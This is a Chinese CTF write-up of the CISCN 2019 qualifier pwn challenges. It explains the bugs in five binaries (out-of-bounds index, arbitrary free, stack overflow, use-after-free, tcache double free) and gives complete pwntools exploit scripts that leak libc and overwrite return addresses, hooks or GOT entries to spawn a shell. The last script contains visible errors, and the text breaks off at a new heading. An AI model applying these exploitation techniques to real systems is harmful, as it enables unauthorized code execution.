CISCN2019 国赛线上初赛pwn

0x00 写在前面

最后一次参加国赛了额，无论队伍能否走到决赛，我都无缘参赛了，希望队伍能走的更远吧。这次国赛比起前两年的题目要简单的很多，大部分题目都很基础，漏洞点很明显，利用思路也异常清晰。利用毕设的闲暇时间整理下writeup

0x01 your_pwn

• 程序功能
  一直输入name，以及数组中name对应的index。

• 漏洞位置
  在功能函数中，再输入index时没有检测其合法性，导致在之后会有数组越界访问的漏洞。

  功能函数

• 利用思路
  虽然本题保护机制全开。

  checksec 但通过合理利用数组越界可达到栈上任意地址读写的目的。可以定点修改返回地址劫持程序控制流。
  第一步，通过任意地址读，找到存在栈上的__libc_start_main + 240偏移后leak出libc基址。
  第二步，找到栈上存的返回地址的偏移，并将其写为one_gadget。
  第三步，让程序正常返回，劫持程序流到one_gadget来get shell。

• my-exp

from pwn import *
local = 1

if local:
    p = process('./pwn')
else:
    p = remote('1b190bf34e999d7f752a35fa9ee0d911.kr-lab.com' , 57856)#nc 1b190bf34e999d7f752a35fa9ee0d911.kr-lab.com 57856

libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

def debug():
    print pidof(p)
    raw_input()

#step1 leak libc_base
p.recvuntil('name:')
p.sendline('test')
libc_leak = ''
for i in range(637 , 631 , -1):
    p.recvuntil('index\n')
    p.sendline(str(i))
    p.recvuntil('(hex) ')
    aa = p.recvuntil('\n')[:-1]
    if(len(aa) < 2):
        libc_leak += '0' + aa
    elif(len(aa) == 8):
        libc_leak += aa[-2:]
    else:
        libc_leak += aa
    p.recvuntil('value\n')
    p.sendline('1')
print libc_leak
libc.address = int('0x' + libc_leak , 16) - libc.symbols['__libc_start_main'] - 240
success('libc_base => ' + hex(libc.address))
one_gadget = 0xf02a4 + libc.address

#step2 overwrite EIP to one_gadget
for i in range(6):
    p.recvuntil('index\n')
    p.sendline(str(i + 344))
    p.recvuntil('value\n')
    p.sendline(str(ord(p64(one_gadget)[i])))

#Get Shell & Have Fun
#debug()
p.sendline('a')
p.recvuntil('(yes/no)? \n')
p.interactive()

0x02 daily

• 程序功能
  一个记录日报的日记本题目，可指定日报的长度和内容，具有正常的增删查改功能。

• 漏洞位置
  在remove功能中，由于没有对输入的index进行检查，会导致数组越界，造成任意地址free。

  remove

• 利用思路
  程序开了除PIE外所有的保护机制。

  checksec 通过任意地址free，直接free堆头地址，再利用bss留存的堆块指针进行UAF操作。
  第一步，正常利用unsort bin进行堆基址和libc基址的leak。
  第二步，利用任意地址free，直接将布置好的堆块free到fastbin中。
  第三步，利用bss段留存的该堆块指针，进行fastbin attack，将bss段当作堆块申请。
  第四步，通过申请到的bss段堆块，将其余堆块指针覆盖为free_hook地址，并通过edit被覆盖的堆块索引，将free_hook写为system地址。
  第五步，通过free之前布置好的data为'/bin/sh\x00'的对应Header来get shell。

• my-exp

from pwn import *
local = 1

if local:
    p = process('./pwn')
else:
    p = remote('85c3e0fcae5e972af313488de60e8a5a.kr-lab.com' , 58512)#nc 85c3e0fcae5e972af313488de60e8a5a.kr-lab.com 58512

libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

def show():
    p.recvuntil('choice:')
    p.sendline('1')
    raw = p.recvuntil('===')[:-4]
    return raw

def add(length , content):
    p.recvuntil('choice:')
    p.sendline('2')
    p.recvuntil('daily:')
    p.sendline(str(length))
    p.recvuntil('daily\n')
    p.sendline(content)

def change(index , content):
    p.recvuntil('choice:')
    p.sendline('3')
    p.recvuntil('daily:')
    p.sendline(str(index))
    p.recvuntil('daily\n')
    p.sendline(content)

def remove(index):
    p.recvuntil('choice:')
    p.sendline('4')
    p.recvuntil('daily:')
    p.sendline(str(index))

def debug():
    print pidof(p)
    raw_input()

#step1 leak libc&heap base
for i in range(5):
    add(0x80 , '\x00' * 0x5f)
debug()
remove(1)
remove(3)
add(0x80 , '')
libc.address = u64(show().split('1 : ')[1][:6].ljust(8 , '\x00')) - 0x3c4b0a
change(1 , 'abcdefgh')
heap_base = u64(show().split('abcdefgh')[1].split('2 :')[0].ljust(8 , '\x00')) - 0x10a
free_hook = libc.symbols['__free_hook']
system_addr = libc.symbols['system']
success('libc_base => ' + hex(libc.address))
success('heap_base => ' + hex(heap_base))
success('free_hook => ' + hex(free_hook))
success('system_addr => ' + hex(system_addr))

#step2 clear heap
remove(4)
remove(2)
remove(1)
remove(0)

#step3 free2fastbin
add(0x30 , 'a' * 8 + p64(heap_base + 0x10)) #heap_base + 0x18
offset = (heap_base - 0x602060) / 16 + 1
remove(offset)

#step4 fastbin attack : free_hook => system
add(0x41 , '\x00' * 0x40)
change(0 , p64(0x602068))
add(0x30 , '/bin/sh\x00')       #heap
add(0x30 , p64(free_hook))      #bss
change(1 , p64(system_addr))

#Get Ghell & Have Fun
remove(0)
p.interactive()

0x03 baby_pwn

• 程序功能
  没啥功能，就让输入个东西。

• 漏洞位置
  在vuln函数中存在由read导致的栈溢出漏洞。
  

  vuln

• 利用思路
  程序为32位程序，并且只开了NX保护机制。

  checksec 由于整个程序中调用函数太少，缺少构造ROP必要的函数，因此考虑采用ret2dl_resolve来get shell。所以用了roptils

• my-exp

from roputils import *

fpath = './pwn'
offset = 44

rop = ROP(fpath)
addr_bss = rop.section('.bss')

buf = rop.retfill(offset)
buf += rop.call('read', 0, addr_bss, 100)
buf += rop.dl_resolve_call(addr_bss+20, addr_bss)

p = Proc(rop.fpath)
p.write(p32(len(buf)) + buf)
print "[+] read: %r" % p.read(len(buf))

buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
buf += rop.dl_resolve_data(addr_bss+20, 'system')
buf += rop.fill(100, buf)

p.write(buf)
p.interact(0)

0x04 Double

• 程序功能
  一个管理输入data的note式程序，含有增删查改功能，并且每次data由一个大小为0x18的结构体管理，该结构体数据结构如下：

typedef struct Header{
    __int32 index;
    __int32 length;
    char* data;
    Header* next_Header;
}Header;

• 漏洞位置
  在增加数据时，如果前后两次输入的data完全一样时，会导致两个Header的content_ptr指向同一个地址，很容易造成UAF漏洞。

  add_data

• 利用思路
  对于一道堆题来说几乎没有开什么保护机制。

  checksec 由于got表可写，于是考虑最终将free_got修改为system()地址来get shell。
  第一步，准备通过两个Header指向一个unsort bin大小的data来leak libc基址。
  第二步，构造出一个0x18大小的堆块既是Header又是data的布局。
  第三步，利用Header2来修改Header3中的data字段，再通过编辑Header3的data达到任意地址写的目的，这里选择将free_got修改为system()。
  第四步，通过free之前布置好的data为'/bin/sh\x00'的对应Header来get shell。
  堆布局大概如下图所示。
  堆布局

• my-exp

from pwn import *
local = 1

if local:
    p = process('./pwn')
else:
    p = remote('e095ff54e419a6e01532dee4ba86fa9c.kr-lab.com' , 40002)#nc e095ff54e419a6e01532dee4ba86fa9c.kr-lab.com 40002

libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
elf = ELF('./pwn')

def add(data):
    p.recvuntil('> ')
    p.sendline('1')
    p.recvuntil('data:\n')
    p.sendline(data)

def show(index):
    p.recvuntil('> ')
    p.sendline('2')
    p.recvuntil('index: ')
    p.sendline(str(index))
    return p.recvuntil('\n----')[:-5]

def edit(index , data):
    p.recvuntil('> ')
    p.sendline('3')
    p.recvuntil('index: ')
    p.sendline(str(index))
    sleep(0.1)
    p.sendline(data)

def delete(index):
    p.recvuntil('> ')
    p.sendline('4')
    p.recvuntil('index: ')
    p.sendline(str(index))

def debug():
    print pidof(p)
    raw_input()

#step1 leak libc_base
add('a' * 0x17)         #0
add('a' * 0x17)         #1
delete(0)

add('a' * 0x7f)         #2
add('a' * 0x7f)         #3
add('/bin/sh\x00')      #4
delete(2)
libc.address = u64(show(3).ljust(8 , '\x00')) - 0x3c4b78
system_addr = libc.symbols['system']
free_got = elf.got['free']
success('libc_base => ' + hex(libc.address))
success('system_addr => ' + hex(system_addr))
success('free_got => ' + hex(free_got))

#step2 use UAF to change free_got to system_addr
fake_header = p32(0x3) + p32(0x7f)
payload = fake_header + p64(free_got)
edit(1 , payload)
edit(3 , p64(system_addr))

#Get Shell & Have Fun
delete(4)
p.interactive()

0x05 bms

听说远程是Tcache
......最近恶补了Tcache机制以及FILE结构体后来看这道题就很容易了。

• 程序功能
  进入输入管理员的密码后，是一个菜单类型的题目，管理了一个book的结构体，该结构体数据结构如下：

typedef struct Book{
    char[0x10] BookName;
    char* description;
    int length;
}

该结构体的大小为0x20字节，有add和delete两个操作，程序有限制最多add10本书，description的大小最大不超过0xFF字节。

• 漏洞位置
  由于这道题当时没有给libc版本，默认为2.23来看好像没有什么漏洞，后来得知远程是2.26的版本，那就很有问题了：在进行delete操作时，并没有检查其description指向的堆块是否已经处于free的状态。
  

  delete
  在2.23版本时会直接报double free的错误，无法利用；而在2.26版本中则可利用tcache dup的方法。

• 利用思路
  

  checksec
  这道题目除了PIE外其余保护机制全开，且本题目没有任何输入功能，没有很明显的leak地址的地方，因此考虑用FILE结构体的任意写来达到leak地址的目的，利用思路大概如下：
  首先，肯定是要通过逆向的到管理员密码……
  第二步，利用delete功能中未检查是否free的漏洞构造tcache dup；
  第三步，修改下一个tcache的地址为stdout，再add将其作为description指针申请回去；
  第四步，就是在description中伪造fake_FILE，顺理成章地leak出libc基址。
  最后，就是故技重施tcache dup，修改free_hook为system，然后free掉/bin/sh\x00的description

• my-exp

from pwn import *

local = 1

if local:
    p = process('./pwn')
else:
    print 'time is up'

libc = ELF('libc-2.27.so')
elf = ELF('./pwn')

def check():
    p.recvuntil('username:')
    p.sendline('admin')
    p.recvuntil('password:')
    p.sendline('frame')

def add(name , length , description):
    p.recvuntil('>')
    p.sendline('1')
    p.recvuntil('book name:')
    p.sendline(name)
    p.recvuntil('size:')
    p.send(str(length))
    p.recvuntil('description:')
    sd(description)

def free(index):
    p.recvuntil('>')
    p.sendline('2')
    p.recvuntil('index:')
    p.sendline(str(index))

def debug():
    print pidof(p)
    raw_input()

check()

#step1 use FILE structure to leak libc
add('0' , 0x50 , '0')
#tcache dup
free(0)
free(0)
stdout_addr = got('stdout')
add('1' , 0x50 , p64(stdout_addr))
add('2' , 0x50 , '2')
add('3' , 0x50 , '\x60')                            #stdout
#fake _IO_2_1_stdout
payload = p64(0xfbad1800) +  p64(0)  +   p64(0)   +   p64(0)     + p64(stdout_addr) + p64(stdout_addr + 8) + p64(stdout_addr + 8)
#          _flags           read_ptr    read_end    read_base        write_base           write_ptr                 write_end
add('4' , 0x50 , payload)                       #_IO_2_1_stdout
libc.address = u64(ru('done!')[:-5].ljust(8 , '\x00')) - 0x3ec760
success('libc_base => ' + hex(libc.address))
free_hook = libc.symbols['__free_hook']
success('free_hook => ' + hex(free_hook))
system_addr = libc.symbols['system']
suucess('system_addr => ' + hex(system))

#step2 overwrite __free_hook with system
add('5' , 0x40 , '5')
#tcache dup
free(5)
free(5)
add('6' , 0x40 , p64(free_hook))
add('7' , 0x40 , '/bin/sh\x00')
add('8' , 0x40 , p64(system_addr))

#Get Shell & Have Fun
free(7)
#debug()
p.interactive()

0x06 Virtual